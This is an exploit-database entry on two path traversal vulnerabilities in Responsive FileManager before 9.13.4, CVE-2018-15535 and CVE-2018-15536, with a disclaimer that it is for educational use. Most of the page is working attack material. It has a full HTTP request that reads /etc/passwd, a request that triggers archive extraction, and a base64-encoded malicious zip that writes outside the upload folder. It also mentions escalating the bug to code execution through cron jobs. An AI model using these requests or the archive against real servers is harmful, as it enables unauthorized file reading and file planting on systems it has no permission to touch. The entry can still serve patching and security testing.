Responsive filemanager < 9.13.4 directory traversal Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-08-27 | Type : webapps | Platform : php
This exploit / vulnerability Responsive filemanager < 9.13.4 directory traversal is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

The following vulnerabilities were fixed in the version 9.13.4.
https://responsivefilemanager.com

#1 Path Traversal Allows to Read Any File

Reserved CVE: CVE-2018-15535
Discovered By: Simon Uvarov
Vendor Status: Fixed

Details:

The following request allows a user to read any file on the system.

GET /filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd HTTP/1.1
Host: 192.168.5.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.129/filemanager/dialog.php?type=0&popup=1
X-Requested-With: XMLHttpRequest
Cookie: last_position=%2F; PHPSESSID=na248cef3f937mtql67dvu8fk5
Connection: close

#2 Path Traversal While Upacking Archives

Reserved CVE: CVE-2018-15536
Discovered By: Simon Uvarov
Vendor Status: Fixed

The following request starts unpacking the exploit.zip archive:

POST /filemanager/ajax_calls.php?action=extract HTTP/1.1
Host: 192.168.5.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.129/filemanager/dialog.php?type=0&lang=en_EN&popup=1&crossdomain=0&relative_url=0&akey=key&fldr=&5b6d9b91535a9&1533909952983
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 16
Cookie: last_position=%2F; PHPSESSID=na248cef3f937mtql67dvu8fk5
Connection: close

path=exploit.zip

Bases64-encoded example of exploit.zip which creates source.txt in /tmp/ directory:

UEsDBBQAAAAAALZNmkR7I19kDgAAAA4AAAAmAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1w
L3NvdXJjZS50eHR1cGxvYWRzIGZvbGRlclBLAQIUAxQAAAAAALZNmkR7I19kDgAAAA4AAAAmAAAA
AAAAAAAAAADtgQAAAAAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi90bXAvc291cmNlLnR4dFBLBQYA
AAAAAQABAFQAAABSAAAAAAA=

It is possible to create archives containing ../../ as a part of a file path, now it's famous as ZipSlip vulnerability, but it's an old bug.

It is impossible to upload .php files or .htaccess file using this method, but itas possible to create different files with "legal" extensions on a system and it may lead to remote code execution if a server runs with enough privileges, for example, to create cron jobs.